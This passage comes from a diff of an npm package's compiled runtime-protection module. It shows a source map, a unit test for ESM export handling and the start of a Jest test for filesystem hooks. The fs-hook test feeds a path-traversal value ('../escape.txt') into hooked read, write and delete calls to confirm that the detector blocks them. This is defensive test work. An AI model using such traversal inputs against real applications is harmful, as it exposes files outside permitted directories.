,EAAE,KAAK,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,mBAAmB,CAAC,CAAC;QACvE,MAAM,CAAC,IAAA,sBAAa,EAAC,YAAY,EAAE,KAAK,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IACtE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;QAClD,MAAM,CAAC,IAAA,mBAAU,EAAC,CAAC,aAAa,EAAE,IAAI,CAAC,EAAE,GAAG,CAAC,aAAa,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,iBAAiB,CAAC,CAAC;QAC5F,MAAM,CAAC,IAAA,mBAAU,EAAC,CAAC,SAAS,EAAE,aAAa,CAAC,EAAE,GAAG,CAAC,aAAa,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAChF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,+EAA+E,EAAE,GAAG,EAAE;QACvF,MAAM,CAAC,IAAA,yBAAgB,EAAC,EAAE,KAAK,EAAE,SAAS,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,mBAAmB,CAAC,CAAC;QAC3G,MAAM,CAAC,IAAA,yBAAgB,EAAC,EAAE,KAAK,EAAE,SAAS,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC1F,MAAM,CAAC,IAAA,yBAAgB,EAAC,EAAE,KAAK,EAAE,SAAS,EAAE,SAAS,EAAE,KAAK,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QACvF,MAAM,IAAI,GAAG,CAAC,+BAA+B,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACjE,MAAM,CAAC,IAAA,yBAAgB,EAAC,EAAE,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,2BAA2B,CAAC,CAAC;IACnH,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,+BAA+B,EAAE,GAAG,EAAE;IAC7C,MAAM,IAAI,GAAG,kBAAkB,CAAC;IAEhC,EAAE,CAAC,uDAAuD,EAAE,GAAG,EAAE;QAC/D,MAAM,KAAK,GAAG,CAAC,IAAI,EAAE,IAAI,EAAE,OAAO,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAC9C,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAI,IAAI,KAAK,EAAE,EAAE,MAAM,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,gBAAgB,CAAC,CAAC;QACxF,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAI,QAAQ,EAAE,MAAM,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IACvE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,MAAM,GAAG,GAAG,CAAC,EAAE,EAAE,KAAK,EAAE,OAAO,EAAE,OAAO,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACpD,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,EAAE,MAAM,EAAE,GAAG,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;IACxE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gFAAgF,EAAE,GAAG,EAAE;QACxF,MAAM,CAAC,GAAG,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACvC,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAI,QAAQ,EAAE,MAAM,EAAE,GAAG,CAAC,CAAC,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;IAClF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8DAA8D,EAAE,GAAG,EAAE;QACtE,MAAM,CAAC,IAAA,mBAAU,EAAC,sBAAsB,EAAE,MAAM,EAAE,GAAG,CAAC,OAAO,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,mBAAmB,CAAC,CAAC;QACzG,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAI,QAAQ,EAAE,MAAM,EAAE,GAAG,CAAC,OAAO,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC/E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0EAA0E,EAAE,GAAG,EAAE;QAClF,MAAM,CAAC,IAAA,mBAAU,EAAC,QAAQ,QAAQ,EAAE,EAAE,MAAM,EAAE,GAAG,CAAC,QAAQ,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,gBAAgB,CAAC,CAAC;QAC3F,MAAM,CAAC,IAAA,mBAAU,EAAC,QAAQ,QAAQ,EAAE,EAAE,MAAM,EAAE,GAAG,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC/E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6EAA6E,EAAE,GAAG,EAAE;QACrF,MAAM,IAAI,GAAG,CAAC,QAAQ,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACxC,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAA,WAAM,GAAE,IAAI,IAAI,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,mBAAmB,CAAC,CAAC;QAC9F,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAA,WAAM,GAAE,IAAI,IAAI,EAAE,EAAE,MAAM,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QACxE,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,IAAI,SAAS,SAAS,EAAE,EAAE,OAAO,EAAE,EAAE,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,iBAAiB,CAAC,CAAC;IAC7F,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,mCAAmC,EAAE,GAAG,EAAE;IACjD,MAAM,GAAG,GAAG,CAAC,IAAY,EAAE,MAAM,GAAG,MAAM,EAAE,EAAE,CAAC,GAAG,MAAM,MAAM,IAAI,GAAG,CAAC;IAEtE,EAAE,CAAC,qFAAqF,EAAE,GAAG,EAAE;QAC7F,MAAM,IAAI,GAAG,CAAC,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;QACrE,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,iBAAiB,CAAC,EAAE,GAAG,CAAC,iBAAiB,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;QACvG,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC5D,MAAM,GAAG,GAAG,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACzC,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,GAAG,CAAC,EAAE,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IACpD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oDAAoD,EAAE,GAAG,EAAE;QAC5D,MAAM,CAAC,IAAA,yBAAgB,EAAC,UAAU,CAAC,GAAG,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1E,MAAM,CAAC,IAAA,yBAAgB,EAAC,UAAU,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QAC/E,MAAM,CAAC,IAAA,yBAAgB,EAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACjD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,sEAAsE,EAAE,GAAG,EAAE;QAC9E,MAAM,IAAI,GAAG,uBAAc,CAAC,CAAC,CAAC,CAAC;QAC/B,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;QACrE,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC9D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mEAAmE,EAAE,GAAG,EAAE;QAC3E,MAAM,OAAO,GAAG,MAAM,CAAC,CAAC,CAAC,GAAG,IAAI,EAAE,CAAC,GAAG,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC;QAChD,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,iBAAiB,CAAC,CAAC;IAC/E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,uDAAuD,EAAE,GAAG,EAAE;QAC/D,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,mBAAmB,EAAE,QAAQ,CAAC,EAAE,GAAG,CAAC,mBAAmB,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;QAC7G,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,mBAAmB,EAAE,OAAO,CAAC,EAAE,GAAG,CAAC,mBAAmB,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC7F,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8DAA8D,EAAE,GAAG,EAAE;QACtE,MAAM,IAAI,GAAG,QAAQ,6BAAM,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,CAAC;QACzC,MAAM,CAAC,IAAA,mBAAU,EAAC,GAAG,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,aAAa,CAAC,CAAC;IACrE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wDAAwD,EAAE,GAAG,EAAE;QAChE,MAAM,CAAC,IAAA,uBAAc,EAAC,GAAG,CAAC,iBAAiB,CAAC,EAAE,CAAC,eAAe,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,sBAAsB,CAAC,CAAC;QACrG,MAAM,CAAC,IAAA,uBAAc,EAAC,GAAG,CAAC,iBAAiB,CAAC,EAAE,CAAC,eAAe,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC7E,MAAM,CAAC,IAAA,uBAAc,EAAC,GAAG,CAAC,iBAAiB,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAChE,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,mDAAmD,EAAE,GAAG,EAAE;IACjE,EAAE,CAAC,+DAA+D,EAAE,GAAG,EAAE;QACvE,MAAM,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,QAAQ,CAAC,GAAG,eAAe,CAAC;QAC/E,MAAM,CAAC,IAAA,8BAAqB,EAAC,QAAQ,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;QACpF,MAAM,CAAC,IAAA,8BAAqB,EAAC,QAAQ,EAAE,IAAI,EAAE,GAAG,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC9E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mEAAmE,EAAE,GAAG,EAAE;QAC3E,MAAM,KAAK,GAAG,IAAI,CAAC,SAAS,CAAC,EAAE,CAAC,GAAG,GAAG,MAAM,CAAC,EAAE,WAAW,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC;QACpE,MAAM,CAAC,IAAA,8BAAqB,EAAC,UAAU,EAAE,KAAK,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,gBAAgB,CAAC,CAAC;QAC1F,MAAM,KAAK,GAAG,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC;QAClD,MAAM,CAAC,IAAA,8BAAqB,EAAC,UAAU,EAAE,KAAK,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC1E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6EAA6E,EAAE,GAAG,EAAE;QACrF,MAAM,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,QAAQ,CAAC,GAAG,eAAe,CAAC;QACxF,MAAM,CAAC,IAAA,8BAAqB,EAAC,MAAM,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC;QAChF,MAAM,CAAC,IAAA,8BAAqB,EAAC,MAAM,EAAE,IAAI,EAAE,GAAG,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC5E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4FAA4F,EAAE,GAAG,EAAE;QACpG,MAAM,MAAM,GAAG,6BAA6B,CAAC;QAC7C,MAAM,CAAC,IAAA,8BAAqB,EAAC,WAAW,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC;QACzF,MAAM,CAAC,IAAA,8BAAqB,EAAC,WAAW,EAAE,MAAM,EAAE,GAAG,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QACjF,MAAM,QAAQ,GAAG,mBAAmB,CAAC;QACrC,MAAM,CAAC,IAAA,8BAAqB,EAAC,WAAW,EAAE,QAAQ,EAAE,GAAG,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4FAA4F,EAAE,GAAG,EAAE;QACpG,MAAM,KAAK,GAAG,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACxC,MAAM,CAAC,IAAA,mBAAU,EAAC,KAAK,KAAK,GAAG,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,WAAW,CAAC,CAAC;QACtE,MAAM,CAAC,IAAA,mBAAU,EAAC,KAAK,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,GAAG,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC3E,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,6BAA6B,EAAE,GAAG,EAAE;IAC3C,MAAM,GAAG,GAAG,CAAC,MAAc,EAAE,EAAE,CAAC,qCAAqC,MAAM,cAAc,CAAC;IAC1F,MAAM,QAAQ,GAAG,CAAC,GAAW,EAAE,EAAE,CAAC,GAAG,CAAC,sBAAsB,GAAG,IAAI,CAAC,CAAC;IAErE,EAAE,CAAC,sFAAsF,EAAE,GAAG,EAAE;QAC9F,MAAM,CAAC,GAAG,QAAQ,CAAC,8BAA8B,CAAC,CAAC;QACnD,MAAM,CAAC,IAAA,kBAAS,EAAC,CAAC,EAAE,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,EAAE,IAAI,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,qBAAqB,CAAC,CAAC;QAC7E,MAAM,CAAC,IAAA,kBAAS,EAAC,CAAC,EAAE,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,EAAE,KAAK,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,aAAa,CAAC,CAAC;QACtE,MAAM,CAAC,IAAA,kBAAS,EAAC,CAAC,EAAE,GAAG,CAAC,YAAY,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC3D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wEAAwE,EAAE,GAAG,EAAE;QAChF,MAAM,CAAC,GAAG,QAAQ,CAAC,UAAU,CAAC,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,OAAO,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACvE,MAAM,CAAC,IAAA,kBAAS,EAAC,CAAC,EAAE,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,EAAE,IAAI,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;IACpE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0DAA0D,EAAE,GAAG,EAAE;QAClE,MAAM,CAAC,GAAG,QAAQ,CAAC,2BAA2B,CAAC,CAAC;QAChD,MAAM,CAAC,IAAA,kBAAS,EAAC,CAAC,EAAE,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,EAAE,IAAI,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;IACxE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wEAAwE,EAAE,GAAG,EAAE;QAChF,MAAM,KAAK,GAAG,CAAC,kBAAkB,EAAE,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,aAAa,CAAC,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;QACjH,MAAM,CAAC,GAAG,GAAG,CAAC,KAAK,CAAC,CAAC;QACrB,MAAM,CAAC,IAAA,kBAAS,EAAC,CAAC,EAAE,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,EAAE,IAAI,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,oBAAoB,CAAC,CAAC;QAC5E,MAAM,GAAG,GAAG,GAAG,CAAC,oBAAoB,CAAC,CAAC;QACtC,MAAM,CAAC,IAAA,kBAAS,EAAC,GAAG,EAAE,GAAG,CAAC,GAAG,EAAE,MAAM,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC5D,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,oBAAoB,EAAE,GAAG,EAAE;IAClC,MAAM,GAAG,GAAG,GAAG,CAAC;IAChB,MAAM,KAAK,GAAG,IAAI,GAAG,IAAI,GAAG,CAAC,MAAM,CAAC,EAAE,CAAC,KAAK,GAAG,GAAG,CAAC;IACnD,MAAM,MAAM,GAAG,CAAC,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,MAAM,CAAC,CAAC;IAE5E,EAAE,CAAC,qFAAqF,EAAE,GAAG,EAAE;QAC7F,MAAM,CAAC,IAAA,kBAAS,EAAC,WAAW,EAAE,MAAM,KAAK,MAAM,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;IAC5F,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;QACpC,MAAM,CAAC,IAAA,kBAAS,EAAC,WAAW,EAAE,MAAM,MAAM,CAAC,KAAK,CAAC,MAAM,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;QACjF,MAAM,CAAC,IAAA,kBAAS,EAAC,kBAAkB,EAAE,IAAI,CAAC,SAAS,CAAC,EAAE,KAAK,EAAE,CAAC,EAAE,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC1F,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

package/dist/rasp/__tests__/esm-exports.test.d.ts

@@ -0,0 +1 @@
+export {};

package/dist/rasp/__tests__/esm-exports.test.js

@@ -0,0 +1,20 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const esm_1 = require("../hooks/esm");
+const namespace = (props) => Object.freeze(Object.assign(Object.create(null), props, { [Symbol.toStringTag]: 'Module' }));
+describe('moduleExports', () => {
+    it("gives a CommonJS package's exports object for its ESM namespace", () => {
+        const cjs = { Client: function Client() { } };
+        expect((0, esm_1.moduleExports)(namespace({ default: cjs }))).toBe(cjs);
+    });
+    it('leaves CommonJS exports, and namespaces without an object default, as they are', () => {
+        const cjs = { Client: function Client() { } };
+        expect((0, esm_1.moduleExports)(cjs)).toBe(cjs);
+        const esm = namespace({ default: 'text', render: () => '' });
+        expect((0, esm_1.moduleExports)(esm)).toBe(esm);
+        const noDefault = namespace({ render: () => '' });
+        expect((0, esm_1.moduleExports)(noDefault)).toBe(noDefault);
+        expect((0, esm_1.moduleExports)(undefined)).toBeUndefined();
+    });
+});
+//# sourceMappingURL=esm-exports.test.js.map

package/dist/rasp/__tests__/esm-exports.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"esm-exports.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/esm-exports.test.ts"],"names":[],"mappings":";;AAAA,sCAA6C;AAE7C,MAAM,SAAS,GAAG,CAAC,KAA8B,EAAE,EAAE,CACnD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,CAAC,MAAM,CAAC,WAAW,CAAC,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;AAE/F,QAAQ,CAAC,eAAe,EAAE,GAAG,EAAE;IAC7B,EAAE,CAAC,iEAAiE,EAAE,GAAG,EAAE;QACzE,MAAM,GAAG,GAAG,EAAE,MAAM,EAAE,SAAS,MAAM,KAAI,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,EAAE,OAAO,EAAE,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAC/D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gFAAgF,EAAE,GAAG,EAAE;QACxF,MAAM,GAAG,GAAG,EAAE,MAAM,EAAE,SAAS,MAAM,KAAI,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAA,mBAAa,EAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,GAAG,GAAG,SAAS,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;QAC7D,MAAM,CAAC,IAAA,mBAAa,EAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,SAAS,GAAG,SAAS,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;QAClD,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;QACjD,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,CAAC,CAAC,aAAa,EAAE,CAAC;IACnD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

package/dist/rasp/__tests__/fs-hook.test.d.ts

@@ -0,0 +1 @@
+export {};

package/dist/rasp/__tests__/fs-hook.test.js

@@ -0,0 +1,241 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+const fs = require("fs");
+const os_1 = require("os");
+const path_1 = require("path");
+const url_1 = require("url");
+const util_1 = require("util");
+const detect = __importStar(require("../detect"));
+const context_1 = require("../context");
+const engine_1 = require("../engine");
+const types_1 = require("../types");
+const fs_1 = require("../hooks/fs");
+let dir;
+let file;
+const request = (fn) => (0, context_1.runWithInputs)([{ value: '../escape.txt', key: 'query.q', source: 'request' }], fn, { inRequest: true });
+const mode = (value) => (0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', mode: value, env: {} });
+const mappings = [
+    ['readFile', 'read'], ['readFileSync', 'read'], ['createReadStream', 'read'],
+    ['open', 'read'], ['openSync', 'read'], ['writeFile', 'write'], ['writeFileSync', 'write'],
+    ['appendFile', 'append'], ['appendFileSync', 'append'], ['createWriteStream', 'write'],
+    ['unlink', 'delete'], ['unlinkSync', 'delete'], ['rm', 'delete'], ['rmSync', 'delete'],
+    ['rename', 'rename'], ['renameSync', 'rename'], ['readdir', 'list'], ['readdirSync', 'list'],
+    ['copyFile', 'read'], ['copyFileSync', 'read'],
+];
+function invoke(owner, api, values) {
+    return Reflect.apply(Reflect.get(owner, api), owner, values);
+}
+beforeEach(() => {
+    dir = fs.mkdtempSync((0, path_1.join)((0, os_1.tmpdir)(), 'rasp-fs-'));
+    file = (0, path_1.join)(dir, 'fixture.txt');
+    fs.writeFileSync(file, 'fixture');
+    mode('block');
+    (0, engine_1.setEventSink)({ add: () => undefined });
+});
+afterEach(() => {
+    (0, fs_1.uninstallFsHooks)();
+    jest.restoreAllMocks();
+    (0, engine_1.setEventSink)(undefined);
+    (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
+    fs.rmSync(dir, { recursive: true, force: true });
+});
+describe.each([false, true])('promise owner: %s', promises => {
+    test.each(mappings)('%s checks its path before calling the original', async (api, op) => {
+        const owner = promises ? fs.promises : fs;
+        if (!Object.prototype.hasOwnProperty.call(owner, api))
+            return;
+        // Replace only the I/O boundary: checking every entry point must not leave
+        // pending streams, callbacks, or open descriptors behind.
+        const descriptor = Object.getOwnPropertyDescriptor(owner, api);
+        const original = jest.fn(() => promises ? Promise.resolve('result') : 'result');
+        Object.defineProperty(owner, api, { ...descriptor, value: original });
+        try {
+            const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
+            expect((0, fs_1.installFsHooks)()).toBe(true);
+            const target = (0, path_1.join)(dir, 'target.txt');
+            const values = api.startsWith('rename') || api.startsWith('copyFile') ? [file, target] : [file, 'r'];
+            await request(() => invoke(owner, api, values));
